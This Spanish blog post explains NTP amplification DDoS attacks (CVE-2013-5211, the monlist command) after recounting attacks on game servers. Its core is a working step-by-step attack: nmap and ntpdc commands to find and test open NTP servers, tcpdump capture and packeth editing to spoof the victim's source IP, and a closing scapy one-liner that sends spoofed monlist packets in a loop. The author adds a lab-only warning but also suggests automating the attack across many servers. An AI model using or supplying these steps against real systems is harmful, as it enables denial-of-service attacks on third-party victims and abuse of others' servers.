En diciembre de 2013, Symantec ya advirtió que los ciberdelincuentes estaban abusando cada vez más de Network Time Protocol (NTP) para lanzar ataques distribuidos de denegación de servicio (DDOS).
Durante el presente mes, tuvieron lugar diversos ataques distribuidos de denegación de servicio sobre redes de servidores de juegos. La lista de juegos atacados incluye a World of Tanks, League of Legends, Free Realms, DC Universe Online, PlanetSide 2 y Everquest. Empresas como EA, Sony, Blizzard, Valve y Microsoft han sido impactadas por los ataques lanzados por un grupo llamado DERP Trolling. La razón: “for lulz”
La noticia ha levantado bastante polvo en Internet y ha propiciado una supuesta actualización de estos servidores.
Para los expertos NTP no representaba una amenaza seria y a menudo es descuidado por los administradores de sistemas ( xD si ya descuidaban DNS...) a pesar de que la vulnerabilidad ya aparecía en 2010. Por cierto, incluso tiene un CVE asociado, el CVE-2013-5211), DERP Trolling ha dejado patente que tenemos que cambiar la visión que tenemos frente a este protocolo..
Hoy veremos como se lleva a cabo este tipo de ataque (bastante sencillo)...
Antes de nada veamos qué es NTP:
Network Time Protocol (NTP) es un protocolo estándar para la sincronización de relojes de máquinas interconectadas a través de redes de datos, en particular Internet. Este protocolo permite que el reloj de un sistema mantenga una gran precisión, independientemente de su calidad y de las condiciones de la red. Para el que quiera una mayor información del protocolo: ntp.org.
También quiero advertir que si queremos llevar acabo esta prueba de concepto, lo hagamos bajo un entorno seguro y nunca en Internet; si no queremos vernos en la tesitura de tener que responder ante la justicia por llevar a cabo un ataque DDOS con los consecuentes prejuicios que nos pueda suponer...
Manos a la obra!!!
¿CÓMO FUNCIONA EL ATAQUE?
No vamos a entrar en mucho tecnicismo, ya que el objetivo de esta entrada (y de todas la que hago) es que cualquier persona o la mayoría pueda entenderlas (o casi entenderlas) y concienciarse de lo importante que es la seguridad...
Esta técnica aprovecha varios factores para generar un tráfico no solicitado de una manera "lícita", es decir, no aprovecha ningún tipo de infección, botnet ...o bug.... sino de la falta o descuido de configuración de los servidores de terceros.
En teoría lo que tenemos que hacer es, pedirle cierta información a varios servidores NTP como si fuésemos otra máquina (la víctima)...a fin de que la "el objetivo" la reciba.
A cuantos más servidores le pidamos esta información, mayor será el numero de respuestas , en consecuencia, mayor será el volumen de datos, pudiendo llegar a colapsar la máquina atacada...
Lo primero que necesitamos es un servidor NTP. Esto no es muy difícil, pero si hacemos una consulta normal a estos servidores recibiremos una respuesta estándar, con un tamaño de información escaso; pero para "noquear" a la víctima necesitaríamos muchísimas peticiones ...
AMPLIFICANDO EL ATAQUE:
Es aquí donde entra en juego una de las capacidades del protocolo NTP: por cada petición, por ejemplo de 8 bytes, puede llegar a generarse una respuesta hasta casi 60 veces mayor (esto ya nos cuadra mas).
Pero esta respuesta no es la habitual de un servidor NTP sino que es una característica del protocolo que ahora ha sido parcheada para evitar este tipo de ataques. (O_o) seguro?
Creerme que no es difícil encontrar servidores no parcheados sobre todo si nos vamos al país del sol naciente...
Para conseguir este tipo de respuesta el servidor tiene que responder al comando mon_grelist. Con este comando lo que conseguimos es que nos mande una lista de todos sus clientes...
Para ver si el servidor es vulnerable podemos utilizar nmap con su script ntp-monlist.nse.
nmap -sU -pU:123 -Pn -n --script=ntp-monlist.nse <servidor NTP>
Para hacernos una idea del tráfico que podemos llegar a generar podemos hacer una consulta lícita al servidor con ntpd.
#ntpdc -c monlist <servidor>
Una vez provisto con unos cuantos de estos server (en diez minutos y sin buscar mucho he encontrado unos 50).
Pasamos a la segunda fase de nuestro ataque.
PoC DEL ATAQUE
Vamos a ver dos maneras de hacer esto: la rápida y la que explica el ataque por sí sola.
Quizás la manera mas gráfica y sencilla de comprender este proceso sea capturando y falseando un paquete NTP con la petición monlist. Esto requiere conseguir un paquete líicito para su posterior modificación, luego veremos como crearlo desde cero.
Para ello utilizaremos el paquete que hemos enviado para hacernos una idea del tráfico:
Preparamos tcpdump para que capture el paquete y nos lo guarde con el nombre NTP_pakete
#tcpdump -i <interfaz> -x -n -e -l -w NTP_pakete -c1 host <nuestra ip> and port 123
En otro terminal ejecutamos el comando de consulta con ntpd.
#ntpdc -c monlist <servidor>
Y ya tendríamos nuestro paquete para analizarlo y para juguetear con él...(podemos ayudarnos de wireshark para ubicarnos en el paquete).
Para manipular muy fácilmente el paquete podemos utilizar packeth, aunque podríamos hacerlo a pelo con Hexedit.
Retocaremos y guardaremos tantos paquetes como a servidores NTP queramos hacerles la "consulta" cambiando la ip origen por la de la victima y la ip destino por la ip de los servidores NTP que hemos encontrado previamente.
Packeth nos da también la opción de mandar los paquetes, aunque seria algo lento... es preferible la herramienta tgn con la cual podemos hacer un script con poca dificultad y automatizar el proceso de consulta a los servidores NTP.....
Creando el paquete NTP desde 0 y realizando el ataque con scapy
Para hacer el proceso anterior muchísimo mas rápido, tenemos un montón de opciones, aquí me decanto por scapy.
Podemos generar el paquete en scapy de la siguiente forma, siendo dst la ip del servidor y src la ip del objetivo.
Desde este punto no sería difícil construir un script que automatizara el ataque al máximo. Mandando varias peticiones a varios servidores y focalizando las respuestas sobre un objetivo.
Un saludo, sed buenos ;D
>>> paquete = IP(dst='59.xxx.xxx.245',src='192.168.1.190')/UDP(sport=48947,dport=123)/Raw(load=str("\x17\x00\x03\x2a") + str("\x00")*4)
>>> send(packet,loop=1)
https://thedaywefightback.org/ |
No hay comentarios:
Publicar un comentario